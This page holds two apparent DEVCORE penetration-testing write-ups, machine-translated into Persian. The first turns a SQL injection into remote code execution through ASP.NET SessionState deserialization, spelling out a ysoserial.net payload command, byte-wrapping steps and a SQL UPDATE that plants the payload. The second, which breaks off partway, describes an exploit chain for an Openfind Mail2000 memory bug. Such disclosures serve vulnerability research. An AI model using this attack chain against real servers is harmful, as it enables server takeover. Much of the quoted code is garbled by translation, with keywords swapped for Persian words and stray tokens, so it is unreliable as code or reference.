برچسب: DEVCORE CONF

"از SQL تا RCE: استفاده از deserialization SessionState برای حمله به برنامه های وب ASP.NET"

از SQL تا RCE: استفاده از deserialization SessionState برای حمله به برنامه های وب ASP.NET

امروز ، بیایید در مورد حکایات کشف شده در سال گذشته از آزمایش نفوذ صحبت کنیم. یک بعد از ظهر بادی و زیبا ، طبق معمول ، یک جلسه تست خسته کننده داشت ، و برای هر پارامتر تزریق های مختلف ممکن را امتحان می کرد ، اما تا وقتی که را تزریق کردم ، پیشرفت و پیشرفتی نداشته است؟ Id = 1؛ منتظر تأخیر '00: 00: 05 '- در یک صفحه خاص ، و سپس او گیر افتاد ، درست بعد از 5. بعد از یک ثانیه ، سرور دوباره پاسخ داد ، این بدان معنی است که ما یک SQL Injection را در SQL Server پیدا کردیم!

در برخی از سیستم های قدیمی و عظیم ، به دلیل برخی از عوامل پیچیده ، اغلب از حساب sa برای ورود به SQL Server استفاده می شود .با چنین حساب پایگاه داده ای با مجوز بالا ، به راحتی می توان از xp_cmdshell برای اجرای دستورات سیستم استفاده کرد. به منظور به دست آوردن کنترل سیستم عامل از سرور پایگاه داده ، اما اگر داستان خیلی روان است ، این مقاله ظاهر نمی شود ، بنابراین البته مجوز کافی برای حساب دیتابیس نداریم. اما از آنجا که SQL Injection found مبتنی بر Stacked است ، ما هنوز می توانیم CRUD را در جدول داده ها انجام دهیم .اگر ما به اندازه کافی خوش شانس هستیم که برخی متغیرهای تنظیم وب سایت را کنترل می کنیم ، حتی می توانیم مستقیماً به RCE برسیم ، بنابراین ما هنوز هم سعی می کنیم از طرحواره برای فهم معماری و در فرآیند تخلیه استفاده کنیم. یک پایگاه داده جالب پیدا کرد:

 بانک اطلاعاتی: ASPState
[2 tables]
+ --------------------------------------- +
| dbo.ASPStateTempApplications |
| dbo.ASPStateTempSessions |
+ --------------------------------------- +

پس از خواندن سند ، یاد گرفتم که هدف از این پایگاه داده ، صرفه جویی در جلسه برنامه وب سایت ASP.NET است. در شرایط عادی ، جلسه پیش فرض در حافظه برنامه وب ASP.NET ذخیره می شود ، اما در مورد برخی معماری غیر متمرکز (مانند معماری Load Balance) چندین برنامه مشابه وب ASP.NET یکسان در همان زمان اجرا می شوند. در میزبان های مختلف سرور ، و میزبان سرور که کاربر در هر بار درخواست به آن اختصاص داده شده ، دقیقاً یکسان نخواهد بود ، به مکانیسمی نیاز دارد که به چندین میزبان اجازه دهد جلسه را به اشتراک بگذارند ، و ذخیره سازی در SQL Server یک راه حل است. یکی از راه حل ها ، اگر می خواهید این مکانیسم را فعال کنید ، می توانید تنظیمات زیر را در web.config اضافه کنید:


    
        
         <sessionState 
             mode =  "SQLServer" 
             sqlConnectionString =  "منبع داده = 127.0.0.1؛ id id user = ؛ password =  "
             timeout = " 20 "
         /> 
        
        
         <! -  -> 
 
        
         <! -
        
        -> 
      
  

برای ایجاد یک پایگاه داده ASPState در بانک اطلاعاتی ، می توانید از ابزار داخلی C: Windows Microsoft.NET Framework v4.0.30319 aspnet_regsql.exe استفاده کنید. شما باید از دستورالعمل های زیر استفاده کنید:

 # ایجاد یک پایگاه داده ASPState 
aspnet_regsql.exe  -S  127.0.0.1  -U  sa  -P  password  -ssadd   -ststype  p

 # حذف پایگاه داده ASPState 
aspnet_regsql.exe  -S  127.0.0.1  -U  sa  -P  password  -ssremove   -ststype  p

اکنون که می فهمیم چگونه می توان محل ذخیره جلسه را تنظیم کرد و پایگاه داده ASPState را کنترل کرد ، چه کاری می توانیم انجام دهیم؟ این تمرکز عنوان مقاله است ، از اجرای Remote Code استفاده کنید!

ASP.NET به ما امکان می دهد برخی از اشیاء را در جلسه ذخیره کنیم ، مانند ذخیره کردن یک شیء List: جلسه ["secret"] = لیست جدید () {"رشته مخفی"} ؛ ، چگونه این اشیاء در SQL Server ذخیره می شوند ، البته با استفاده از مکانیسم سریال سازی برای پردازش ، و ما پایگاه داده را کنترل می کنیم ، بنابراین ما همچنین می توانیم deserialization دلخواه را انجام دهیم ، برای این کار باید سریالی سازی شی Session را بفهمیم. با فرایند deserialization.

بعد از خواندن كد ، مي توانيد به سرعت نوع پردازش هاي مربوط به پردازش را مشخص كنيد ، براي كاهش طول توصيف ، موارد زير به طور مستقيم در كليد قرار مي گيرند تا توضيح دهند كه پس از برداشتن داده ها از پايگاه داده ، چه نوعي از عملكردهاي delerialization انجام مي شود. هسته اصلی این است که با فراخوانی تابع SqlSessionStateStore.GetItem Object Session را بازگردانی کنید اگرچه کد بی ربط تا حد امکان حذف شده است ، اما تعداد خطوط هنوز هم بسیار زیاد است. اگر شما برای خواندن کد بسیار تنبل هستید ، می توانید مستقیماً پایین نگه دارید و به ادامه توضیحات مقاله XD

 فضای نامی   System.Web.SessionState   {
     کلاس   داخلی   کلاس   SqlSessionStateStore  :   SessionStateStoreProviderase   نادیده گرفتن   SessionStateStoreData    GetItem  ( HttpContext   زمینه  ، 
                                                         String   id ] [1965909042] ] قفل شده  ، 
                                                         خارج   TimeSpan   lockAge  ، 
                                                         out   out  ] LockId ، 
                                                         out   SessionStateActions   )   {
             SessionIDManager .  CheckIdL طول  ( id  ،   صحیح [19659066] / * hidOnFail * / 
             بازگشت   DoGet  ( زمینه  ،   id  ،   false ،   ] out   قفل شده  ،   out   lockAge  ،   out   lockId ،   out   actionFlags ] } 

         SessionStateStoreData   DoGet  ( HttpContext   زمینه  ،   String   id ،     19659102] خارج   bool   قفل شده  ، 
                                         خارج   TimeSpan   lockAge  ، 
                                         out   Lock [d]  ] ] out   SessionStateActions   actionFlags )   {
             SqlDataReader         خواننده ؛ 
             بایت   [] [1945903] 
             MemoryStream          جریان   =   تهی  ؛ 
             جلسه StateStoreData      مورد ؛ 
             SqlStateConnection    conn   =   null 
             SqlCommand 
                                                         cmd   =   =   =   =   =   =   = 19659122] bool                  usePooling   =   true ؛ 

             buf   =   null ؛ 
             خواننده   =   =   ؛ 
             conn   =   GetConnection  ( id ،   ref   usePooling   try   {
                 if   ( getExclusive )   {
                     cmd   =   conn .  TempGetExclusive ؛ [196590178]}  ] {
                     cmd   =   conn .  TempGet ؛ 
                } 

                 cmd .  پارامترها  [

]. Value = id + _partitionInfo . AppSuffix ؛ //id [19659203] cmd . پارامترها [ 1 ]. Value = Convert . DBNull ؛ ] //itemShort
cmd . پارامترها [ 2 ]. Value = Convert DBNull ؛ // @ قفل شده
cmd . پارامترها [ 3 ]. مقدار = DBNull ؛ //lockDate orlockAge
cmd . پارامترها [ 4 ]. Value [19659024] = Convert . DBNull ؛ / @ lockCookie
cmd . پارامترها [ 5 ] . Value = Convert . DBNull ؛ / @ actionFlags

با استفاده از ( خواننده = ] SqlExecuteReaderWithRet ry ( cmd ، CommandBehavi . پیش فرض ))] {[196590281] if ( خواننده ! = null ) {
try {
if ( خواننده . بخوانید ]) {
buf = ( byte []) خواننده ] [ 0
}
} [19659026] گرفتن ] [ استثنا e ) {
ThrowSqlConnectionException ( cmd . ] e
}
}
}

if ( buf == null ) {
/ * دریافت مورد کوتاه * /
buf = ( byte []) cmd ]. پارامترها [ 1 ]. مقدار ؛
}

با استفاده از ( stream = new MemoryStream ( buf )) {
مورد = SessionStateU . DeserializeStoreData ( زمینه ، جریان ، s_configCompressionEnabled )؛ [196590172] _rqOrigStream 19659300] int ) stream . Position ؛
}
بازگشت ] مورد ؛ [196590382]} بالاخره {
DisposeOrRuseConnection ( ref conn conn ، usePooling [1965903535])؛ IDisposable {
داخلی SqlCommand TempGet {
get {
if _] 19659026] null ) {
_cmdTempGet = جدید SqlCommand ( "dbo.TempGetStateItem3" ، _sqlConnection
_cmdTempGet ] ] . StoredProcedure ؛
_cmdTempGet . CommandTimeout = s_commandTimeout ]
]] Parametting
بازگشت _cmdTempGet ؛
}
}
}
}
}

از کد می توانیم به وضوح ببینیم که تماس اصلی ASPState.dbo.TempGetStateItem3 Stored Procedure برای به دست آوردن داده های باینری سریالی شده Session و ذخیره آن در متغیر buf است ، و در نهایت buf به Session منتقل می شود. DeserializeStoreData Deserialize جهت بازگرداندن موضوع Session ، و TempGetStateItem3 SP معادل اجرای SELECT SessionItemShort FROM [ASPState] .dbo.ASPStateTempSessions است ، بنابراین می توانید جدول را در این قسمت قرار دهید در قسمت SessionItemShort. سپس اجازه دهید ما ببینیم که کلید DeserializeStoreData چه کاری انجام داده است. به همین ترتیب ، تعداد ردیف ها بسیار زیاد است ، در صورت نیاز ، لطفاً نام XD

 نام فضای   System.Web.SessionState   {
     [  public   static   کلاس   SessionStateUtility   ] {

         [ SecurityPermission  ( SecurityAction .  ادعا  ،   SerializationFormatter   =   true ]] داخلی   استاتیک   SessionStateStoreData   Deserialize  ( HttpContext   زمینه  ،   جریان   جریان ]   19659478] timeout ؛ 
             SessionStateItemCollection     جلسهItems ؛ 
             bool                  hasItems ؛ 
             bool   hasStaticOb staticObjects ؛ 
             بایت                  eof ؛ 

             سعی کنید   {
                 BinaryReader   خواننده   =   جدید   جدید   69] BinaryReader  ( stream 
                 timeout   =   خواننده .  ReadInt32  ()؛ 
                 hasItems   =   خواننده .  ReadBoolean  ()؛ 
                 hasStaticObjects   =   خواننده .  ReadBoolean  ()؛ 
                 hasStaticObjects   =   خواننده . ] ( hasItems )   {
                     sessionItems   =   SessionStateItemCollection .  Deserialize  (]  }   other   {
                     sessionItems   =   new   SessionStateItemCollection  ()؛ 
                } [196590268] if [196590248] if [196590248] )   {
                     staticObjects   =   HttpStaticObjectsCollection . 
                     staticOjects   =   SessionStateUtility . [19659061] GetSessionStaticObjects  ( زمینه 
                } 

                 eof   =   خواننده .  ReadByte  () [19659  ( eof  ! =   0xff )   {
                     پرتاب   جدید   HttpException  ( SR . 19659061] GetString  ( SR .  Invalid_session_state ))؛ 
                } 
            }   گرفتن [] 19659024] {
                 پرتاب   جدید   HttpException  ( SR .  GetString ] [ SR [1965903536]] ))؛ 
            } 
             بازگشت   جدید   SessionStateStoreData  ( sessionItems ،   staticObjects ،   timeout   ]} 
    
         استاتیک   داخلی   SessionStateStoreData   DeserializeStoreData [19659035] ( HttpContext   زمینه  ،   جریان   جریان  ،   bool   compressionEnabled )   return 
            ] SessionStateUtility .  Deserialize  ( زمینه  ،   جریان [1965903535]) ؛ 
        } 
    } 
} 

ما می توانیم ببینیم که DeserializeStoreData در واقع فرآیند دفع زدایی را به دسته های دیگر منتقل می کند و بسته به داده های بازیابی شده ، ممکن است به SessionStateItemCollection.Deserialize یا HttpStaticObjectsCollection.Deser منتقل شود. پس از پردازش ، دریافتم که پردازش [HtpStaticObjectsCollection نسبتاً ساده است ، بنابراین من شخصاً تصمیم گرفتم که در این شاخه تحصیل کنم.

 namespace   System.Web   {
     عمومی   مهر و موم شده   کلاس   HttpStaticObjectsCollection  :   ICollection   {
           HttpStaticObjectsCollection   Deserialize  ( BinaryReader   خواننده ]   {
             int [196590674] تعداد ] 
             string    typename ؛ 
             bool      hasInstance ؛ 
             Object    نمونه ؛ 
             HttpStaticObjectsEntry] 
             HttpStaticObjectsCollection   col ؛ 

             col   =   new   HttpStaticObjectsCollection  ()؛ [196590148] count    ReadInt32  ()؛ 
             در حالی که   ( تعداد  -  >   0 ]   {[196590243] نام   =   خواننده . [19659061] ReadString  ()؛ 
                 hasInstance   =   خواننده .  ReadBoolean  ()؛ 
                 if   ( ]Instance [196590] )   {
                     نمونه   =   AltSerialization .  ReadValueFromStream  ( خواننده )؛ [196590172] ورود  ]]   HttpStaticObjectsEntry  ([ نام  ،   نمونه  ،   0 
                } [196590167] other   else   {  جست و خیز 
                } 
                 col .  _objects .  اضافه کردن  ( نام  ،   ورود ] 

             بازگشت   col  ؛ 
        } 
    } 
} 

پیگیری کنید و بدانید که پس از HttpStaticObjectsCollection مقادیر بایت را حذف می کند ، این فرآیند را به AltSerialization.ReadValueFromStream برای پردازش منتقل می کند. دوستانی که این را می بینند ممکن است با سه خط روی چهره خود فکر کنند: "این من مجبور نیستم دوباره آن را تعقیب کنم … "، اما در واقع تاکنون کافی است ، زیرا AltSerialization در واقع شبیه به بسته بندی BinaryFormatter است ، بنابراین اطلاعات کافی برای استفاده وجود دارد ، و یک دلیل دیگر و خبر خوب نیز وجود دارد. وقتی کد به اینجا رسید ، من آن شیء را به صورت آنلاین چک کردم و دریافتم که ysoserial.net قبلاً افزونه ای برای بارگیری دلسرد سازی AltSerialization deserialization دارد ، بنابراین می توانید مستقیماً از این سلاح استفاده کنید! خط زیر از دستورالعمل ها می توانند مبلغ بارگذاری شده رمزگذاری شده base64 را ایجاد کنند که دستورالعمل سیستم calc.exe را انجام دهد.

 ysoserial.exe  -p  Altserialization  -M  HttpStaticObjectsCollection  -o   base64   -c   "

با این وجود ، هنوز مشکل کوچکی وجود دارد که باید آن را برطرف کرد. بارهای ایجاد شده توسط افزونه AltSerialization از ysoserial.net به دو نوع عملیات deserialization SessionStateItemCollection یا HttpStaticObjectsCollection ایجاد می شود و داده های سریالی جلسه که در پایگاه داده ذخیره می کنیم. این دسته توسط SessionStateUtility اداره می شود ، که روی آن یک لایه اضافی بسته بندی نیز وجود دارد ، بنابراین باید اصلاح شود. با نگاهی به کد ، می فهمید که SessionStateUtility فقط چند بایت اضافه کرده است.پس از کاهش ، به شرح زیر است:

 timeout   =   خواننده .  ReadInt32  ( )؛ 
 hasItems   =   Reader .  ReadBoolean  ()؛ 
 hasStaticObjects   =   Reader ]  ReadBoolean ] ()؛ 

 if   ([ hasStaticObjects ) 
     staticObjects   =   HttpStaticObjectsCollection .  Deserialize   ])؛ 

 eof   =   خواننده .  ReadByte  ()؛ 

برای Int32 ، 4 بایت افزوده می شود ، و بولین 1 بایت است ، و از آنجا که مسیر برنامه می تواند وارد شاخه HttpStaticObjectsCollection شود ، بایت ششم باید 1 باشد تا شرط برآورده شود. اول ، اصلی از ysoserial.net مبلغ بازده خروجی از base64 به هگز تبدیل می شود و سپس 6 و 1 بایت قبل و بعد اضافه می شود ، همانطور که در نمودار زیر نشان داده شده است:

 timeout false false HttpStaticObjectsCollection eof
┌┐ ┌┐ ─────────────┐ ┌┐
00 00 00 00 00 01 010000000001140001000000ff ... مجاز ... 0000000a0b ff

مبلغ بارگذاری شده می تواند برای حمله به گروه SessionStateUtility استفاده شود!

مرحله آخر استفاده از SQL Injection در ابتدا برای تزریق محتوای سریال مخرب به پایگاه داده است.اگر کوکی ASP.NET_SessionId هنگام مرور وب سایت هدف به طور عادی ظاهر شود ، بدین معنی است که در حال حاضر یک رکورد مربوطه Session در بانک اطلاعاتی ذخیره شده است. بنابراین ما فقط باید عبارت زیر SQL Update را اجرا کنیم:

؟ id = 1؛ UPDATE ASPState.dbo.ASPStateTempSessions
       SET SessionItemShort = 0x {Hex_Encoded_Payload
       در کجا SIKINI LIKE '{ASP.NET_SessionId} 25'؛ -

{ASP.NET_SessionId} را با ارزش کوکی ASP.NET_SessionId و خود جایگزین کنید {Hex_Encoded_Payload} را با بار سریالی تهیه شده در بالا.

اگر ASP.NET_SessionId وجود نداشته باشد چه می شود؟ این بدان معنی است که ممکن است هدف هیچ داده ای را در جلسه ذخیره نکرده باشد ، بنابراین هیچ سابقه ای در دیتابیس ایجاد نمی کند ، اما از آنجا که در دسترس نیست ، ما یک کوکی را به زور به آن وارد می کنیم! ASP.NET's SessionId 24 کاراکتر تولید شده توسط اعداد تصادفی است ، اما با استفاده از یک مجموعه کاراکترهای سفارشی شده ، می توانید مستقیماً از اسکریپت زیر استفاده کنید تا مجموعه ای از SessionId را ایجاد کنید ، به عنوان مثال: plxtfpabykouhu3grwv1j1qw ، و سپس کوکی را بیاورید. : ASP.NET_SessionId = plxtfpabykouhu3grwv1j1qw مرور هر صفحه aspx ، به لحاظ تئوری ASP.NET بطور خودکار ركوردی را در دیتابیس اضافه می كند.

 واردات   تصادفی 
 کاردها   =   'abcdefghijklmnopqrstuvwxyz012345' 
 چاپ  (] "] ]  تصادفی .  انتخاب  ( کارا )   برای   i   در   محدوده  ([ 24 )) ) 

اگر هنوز هیچ سابقه ای در دیتابیس وجود ندارد ، می توانید SQL INSERT را بصورت دستی وارد کنید تا یک رکورد ایجاد کنید. چگونه می توان این قسمت را نوشت؟ تا زمانی که به کد نگاه کنید ، می توان آن را به راحتی ساخت ، بنابراین آن را برای همه بگذارید تا بازی کنند: P

صبر کنید تا بار با موفقیت تزریق شود ، کافی است دوباره از این کوکی استفاده کنید ASP.NET_SessionId = plxtfpabykouhu3grwv1j1qw مرور هر صفحه aspx برای اجرای هر دستور سیستم ، باعث ناامیدی می شود!

خارج از مبحث ، استفاده از deserialization SessionState برای به دست آوردن سناریوهای کنترل میزبان برنامه وب ASP.NET محدود به تزریق SQL نیست. در فرآیند تست نفوذ داخلی ، ما اغلب با این شرایط روبرو می شویم که بسیاری از حساب ها و رمزهای عبور SQL Server را از طریق نشت اطلاعات از همه طرفها بدست می آوریم (به عنوان مثال: GitLab داخلی ، خواندن پرونده های دلخواه و غیره) ، اما ما به تنهایی نمی توانیم به هدف برسیم. پسورد حساب کاربری میزبان ویندوز برنامه وب سایت ASP.NET ، و برای رسیدن به هدف (کنترل میزبان وب سایت تعیین شده) ، ما از این روش برای به دست آوردن کنترل هدف استفاده کرده ایم ، بنابراین به عنوان ابزاری برای حرکت جانبی اینترانت نیز کمی با ارزش است. و بسیار جالب است در مورد اینکه چه نوع ترفندهایی و گیم پلی در دسترس است ، این وظیفه شماست که همچنان از تخیل خود استفاده کنید!

رویایی که عاشق فناوری امنیت برنامه وب سایت است ،
متخصص آزمایش نفوذ است و آرزو می کند که یک دختر زیبا از نور باشد.
              

.

"بیوگرافی کبوتر پرواز-کبوترهای اسیر دیجیتال در تمرین تیم قرمز | DEVCORE دیو کول"

بیوگرافی کبوتر پرواز-کبوترهای اسیر دیجیتال در تمرین تیم قرمز | DEVCORE دیو کول

سیستم نامه پستی ، به عنوان اصلی ترین روش تبادل اطلاعات در اکثر شرکت ها ، یک موقعیت مهم استراتژیک را اشغال می کند. کنترل سرور پست الکترونیکی نه تنها می تواند از محتوای نامه استراق سمع کند ، بلکه حتی بسیاری از پرونده های مهم نیز در سیستم نامه یافت می شوند که به هکر امکان نفوذ بیشتر می دهد. در این مقاله آسیب پذیری حافظه کشف شده توسط تیم تحقیقاتی بر روی نرم افزار Openfind Mail2000 و روش های حمله استفاده شده برای بهره برداری از این آسیب پذیری ارائه خواهد شد.
این آسیب پذیری در سال 2018 کشف شد. در آن زمان ، Openfind به شما اطلاع داده شد و سریعاً برطرف شد. در همان زمان ، به کاربران مربوط نیز برای به روز رسانی کمک کرده است.

Openfind Mail2000

Mail2000 یک سیستم نامه الکترونیکی ساده و با کاربرد آسان است که توسط سازنده تایوانی Openfind ساخته شده است و به طور گسترده در موسسات دولتی و مؤسسات آموزشی تایوان از جمله دفتر آموزش شهری تایپه ، آکادمی علوم چین و علوم تایوان استفاده می شود. دانشگاه ها از Mail2000 به عنوان سرور اصلی ایمیل خود استفاده می کنند. رابط ورودی مشترک به شرح زیر است:

آسیب پذیری این بار از این رابط وب است ، با استفاده از تکنیک باینری برای به خطر انداختن کل سرور!

معماری سرور

Mail2000 یک رابط وب را برای کار با سرپرستان و کاربران فراهم می کند ، که به آن Webmail نیز گفته می شود ، و در اینجا Openfind از فناوری CGI (رابط مشترک دروازه) برای پیاده سازی استفاده می کند. اکثر سرورهای وب CGI را همانطور که در شکل نشان داده شده است پیاده سازی می کنند:

ابتدا httpd درخواست مشتری را می پذیرد و پرونده CGI مربوطه را مطابق با مسیر CGI مربوطه اجرا می کند. بیشتر توسعه دهندگان با توجه به نیازهای خود ، توابع مشترک مشترک را به عنوان کتابخانه برای تماس های CGI خواهند نوشت.
با نگاهی به پایین ، می توان فهمید كه اگرچه به آن سرور وب گفته می شود ، اما هنوز هم بسیاری از مؤلفه ها روی باینری ساخته شده اند! به عنوان مثال ، httpd بیشتر برای کارایی توسط C / C ++ نوشته شده است ، و موارد دیگر مانند کتابخانه ، ماژول توسعه یافته و CGI هر صفحه نیز یکسان است. بنابراین ، آسیب پذیری های مربوط به باینری این بار هدف حمله ما هستند!

آسیب پذیری

این آسیب پذیری در کتابخانه libm2kc پیاده سازی شده توسط Openfind واقع شده است .این كتابخانه شامل كاركردهای عمومی CGI مختلف مانند تجزیه و تحلیل پارامتر و پردازش پرونده و غیره است و این آسیب پذیری رخ می دهد. در بخش آنالیز پارامتر. از آنجا که پردازش پارامتر یک عملکرد بسیار سطح پایین و اساسی است ، دامنه تأثیرگذاری بسیار بزرگ است ، حتی سایر محصولات Openfind نیز تحت تأثیر قرار می گیرند!
شرایط تحریک کننده این آسیب پذیری به شرح زیر است:

  • مهاجم برای ارسال درخواست های HTTP POST از Multartart استفاده می کند
  • POST بیش از 200 مورد داده را ارسال می کند

multipart یک پروتکل HTTP است که برای رسیدگی به چندین فایل ارسال می شود. نمونه ای از قالب به شرح زیر است:

 نوع محتوا: چند قسمت / فرم-داده ؛ مرز = AaB03x

--AaB03x
محتوا-دفع: فرم-داده؛ name = "پرونده"؛ filename = "file1.txt"
نوع محتوا: متن / ساده

... محتویات file1.txt ...
--AaB03x--

در libm2kc ، از آرایه ای برای ذخیره پارامترها استفاده می شود:

 g_stCGIEnv .  param_cnt   =   0 ؛ ] [p =  next_param  ()) 
 {
   g_stCGIEnv .  param  [ param_cnt [196590101]] p ؛ 
   g_stCGIEnv .  param_cnt  ++ ؛ 
} 

این آرایه پارامتر در متغیر جهانی g_stCGIEnv است که در آن ذخیره می شود. این بررسی نکرد که اندازه آرایه اعلام شده از چه مواردی فراتر رفته است ، که منجر به نوشتن خارج از محدوده شده است.

لازم به ذکر است که ساختار ذخیره شده در ردیف پاراما یک شاخص است که به موقعیت رشته اشاره می کند ، نه خود رشته

 ساختار   param 
] {
     char   *  key ؛ 
     char   *  مقدار ؛ 
     int   پرچم ؛ 

بنابراين هنگام تحريك خارج از محدوده ، نوشتن مقدار وارد شده در حافظه نیز نشانگر رشته است و محتوای رشته اشاره شده پارامتری است که باعث ایجاد سرریز شده است.

استثمار آسیب پذیری

برای بهره برداری از آسیب پذیری نوشته شده در آن سوی مرز ، ابتدا باید بفهمیم که با استفاده از این سرریز می توان چه کاری انجام داد. ساختار متغیر جهانی سرریز به شرح زیر است:

 00000000 CGIEnv struc؛ (sizeof = 0x6990، mappedto_95)
00000000 buf dd ؟؛ افست
00000004 طول dd؟
00000008 field_8 dd 6144 dup (؟)؛ افست
00006008 param_arr param 200 dup (؟)
00006968 file_vec dd ؟؛ افست
0000696C vec_len dd؟
00006970 vec_cur_len dd؟
00006974 arg_cnt dd؟
00006978 زمینه_6978 dd؟
errcode 0000697C dd؟
روش 00006980 دی دی؟
00006984 is_multipart dd؟
00006988 read_func dd؟
0000698C زمینه_698C dd؟
00006990 CGIEnv به پایان می رسد

آرایه سرریز param_arr است ، بنابراین متغیرهای پس از آن بازنویسی می شوند. از جمله post_files ، vec_len ، vec_cur_len ، arg_cnt … و غیره. برای من یکی از جذاب ترین متغیر file_vec است که یک وکتور است که برای مدیریت پرونده های بارگذاری POST استفاده می شود ، بیشتر ساختار به این شکل است:

از ضبط اندازه برای ضبط کل طول آرایه ، پایان استفاده کنید تا جایی که در حال حاضر استفاده می شود را ضبط کنید ، تا در صورت عدم کفایت ظرفیت بتوان آنرا گسترش داد. اگر از آسیب پذیری برای ساختن نشانگر سرریز وکتور استفاده کنیم ، می توان از آن به طور مؤثر استفاده کرد! با پوشاندن این نشانگر ، می توانیم به اثر جعل پرونده پرونده POST و کلیه متغیرهای مرتبط دست یابیم و این ساختار پرونده POST شامل متغیرهای مختلف مرتبط با پرونده ، مانند مسیر و نام پرونده ، و ساختار FILE که برای مدیریت پرونده ها در لینوکس استفاده شده است ، و ساختار FILE کلید این حمله است. !

FILE Exploit Structure

این حمله از تکنیک بهره برداری از ساختار FILE استفاده می کند ، که یک روش حمله نسبتاً جدید است که در سالهای اخیر کشف شده است. این توسط Angelboy در HITCON CMT [1] منتشر شده است:

ساختار FILE در لینوکس استفاده می شود. ساختار مورد استفاده برای پردازش پرونده مانند STDIN ، STDOUT ، STDERR یا ساختار پس از تماس fopen پرونده . دلیل اصلی اینکه این ساختار می تواند به نقض آسیب پذیری تبدیل شود ، این است که آن را دربردارنده نشانگر vtable :

 struktur   _IO_FILE_plus 
 {
   FILE  ]  ؛ 
   const   struktur   _IO_jump_t   *  vtable ؛ 

struktur _IO_jump_t * vtable ؛

struktur

vtable vtable ضبط کننده انواع مختلف عملکرد پردازش توابع مرتبط:

 ساختار   _IO_jump_t 
 {
     JUMP_FIELD  ( size_t ،   __ آدمک [1965900189]] 
    ]  size_t  ،   __ dummy2 
     JUMP_FIELD  ( _IO_finish_t ،   __ پایان ] * / 
     JUMP_FIELD  ( _IO_read_t ،   __ بخوانید ) ؛ 
     JUMP_FIELD  ( _IO_write_t] T  _IO_write_t] )؛ 
     JUMP_FIELD  ( _IO_s eek_t  ،   __ به دنبال 
     JUMP_FIELD  ( _IO_close_t ،   __ بست ) [[659017] 19659028]}؛ 

بنابراین اگر می توانیم این [ vtable را دستکاری و جعل کنیم ، می توانیم جریان برنامه را در حالی که برنامه در حال انجام پردازش پرونده است ، ربودیم! ما می توانیم از این روش برای تعیین مراحل حمله زیر استفاده کنیم:

  1. اتصال برقرار کنید ، با CGI
  2. تماس بگیرید با استفاده از تعداد زیادی پارامتر ، نشانگر بردار
  3. FILE * را در پرونده POST جعلی بازنویسی کنید و به ساختار FILE جعلی
  4. بازنویسی کنید. ] عملیات مربوط به FILE را در فرآیند CGI فراخوانی کنید
        

    • Fread ، Fwrite ، Fclose ، …
    •     

      

  5. جریان برنامه ربودن

اکنون می دانیم که نقطه پایان است که یک عملیات FILE را فراخوانی می کند ، سپس می توانیم به عقب برگردیم که عملکرد CGI است که معمولاً FILE استفاده می شود ، وجود دارد. کدام CGI را می توان به عنوان یک نقطه ورود برای هک کردن زنجیره حمله ما استفاده کرد! ما ابتدا توابع مربوط به پرونده POST را مورد مطالعه قرار دادیم و هدف را انتخاب کردیم MCGI_VarClear () .
MCGI_VarClear () در بسیاری از CGI هایی که از FILE استفاده می کنند فراخوانی می شود ، برای پاک کردن g_stCGIEnv قبل از اتمام برنامه ، از جمله حافظه پویا تنظیم شده رایگان ( ) خاموش ، و همه FILE را ببندید ، یعنی با fclose () تماس بگیرید ، این بدان معنی است که می توان با vtable آن را ربود! ما می توانیم از این آسیب پذیری خارج از محدوده برای نوشتن file_vec استفاده کنیم ، و محتوای مورد اشاره به آن پارامترهای درخواست HTTP است ، که می توانند به صورت پرونده های POST جعل شوند! مانند ساختار زیر:

هدف نهایی ما این است که FILE را به یک ساختار جعلی ، با یک جعل جعلی برای ربودن جریان برنامه نشان دهیم! در این زمان مشکلی پیش آمد. ما باید نشانگر FILE * را به مکانی با محتوای کنترل پذیر نشان دهیم ، اما در واقع نمی دانیم به کجا اشاره کنیم و این مشکل توسط مکانیسم دفاعی در Linux-ASLR ایجاد می شود. .

Randomization Layout Space Space (ASLR)

ASLR باعث می شود که هر برنامه هنگام اجرای و بارگذاری در حافظه ، به طور تصادفی در یک مکان حافظه مختلف بارگذاری شود ، می توانیم سعی کنیم از cat / proc / self استفاده کنیم. / نقشه ها مشاهده کنید که آیا مکان حافظه هر بار که اجرا می شود یکسان است:

ASLR به طور پیش فرض در اکثر محیط ها فعال شده است ، بنابراین هنگام نوشتن یک مورد بهره برداری ، اغلب با شاخص هایی که می تواند جعل شود مواجه می شوید ، اما نمی دانید خجالت از کجا اشاره کرد.
و این سازوکار در چارچوب CGI موانع بیشتری ایجاد می کند ، روند حمله کلی سرور ممکن است به این صورت باشد:

شما می توانید از آدرس نشت در یک اتصال استفاده کنید و از آن برای حملات بیشتر استفاده کنید ، اما در CGI در معماری این مورد است:

در این حالت ، نشانی که از طریق نشت به دست می آید در حملات بعدی قابل استفاده نیست! از آنجا که اجرای CGI به پایان رسیده است ، درخواست بعدی یک CGI کاملاً جدید است!
به منظور مقابله با این مشکل ، ما در نهایت دو مورد بهره برداری نوشتیم ، روش حمله با توجه به باینری CGI متفاوت است.

Post-Auth RCE- / cgi-bin / msg_read

نقطه ورود اولین بهره برداری صفحه ای است که باید وارد سیستم شوید. این برنامه دارای برنامه های بزرگتر و عملکردهای بیشتری است. در این بهره برداری ، ما از روش پشته اسپری برای غلبه بر ASLR استفاده کردیم ، یعنی پر کردن تعداد زیادی اشیاء مکرر در پشته ، به طوری که احتمال بالایی از حدس بزنید نسبت به آن داشته باشیم. محل سکونت

محتوای اسپری تعداد زیادی از سازه های FILE جعلی ، از جمله vtables جعلی است. از این باینری ، یک ابزار بسیار عملی پیدا کردیم که یک قطعه برنامه کوچک است: [

نقش این اسباب بازی این است که ما می توانیم موقعیت پشته را تغییر دهیم ، و در این زمان ، محتوای اشاره گر eax قابل کنترل است ، بنابراین می توان محتوای کل پشته را جعل کرد ، به این معنی که می توانیم از ROP (برنامه نویسی برگشت گرا) برای استفاده از آن استفاده کنیم! بنابراین ما اسبابک منتقل شده توسط پشته و زنجیره حمله متعاقب آن را در vtable جعلی تنظیم کردیم تا حمله ROP را انجام دهیم!

ما می توانیم ROP انجام دهیم ، بنابراین می توانیم پوسته را بگیریم ، درست است؟ به نظر شما این مورد است؟ خیر ، در واقع یک مشکل بزرگ وجود دارد ، همچنین به دلیل مکانیسم دفاعی فوق الذکر ASLR – ما موقعیت سیستم را نداریم! این گجت تهیه شده توسط خود باینری برای باز کردن یک پوسته کافی نیست ، بنابراین امیدواریم که بتوانیم به طور مستقیم از سیستم در libc استفاده کنیم تا به هدف برسیم ، اما همانطور که قبلاً نیز اشاره شد ، مکان حافظه هر بار که بارگیری می شود تصادفی است ، ما من محل دقیق سیستم را نمی دانم!
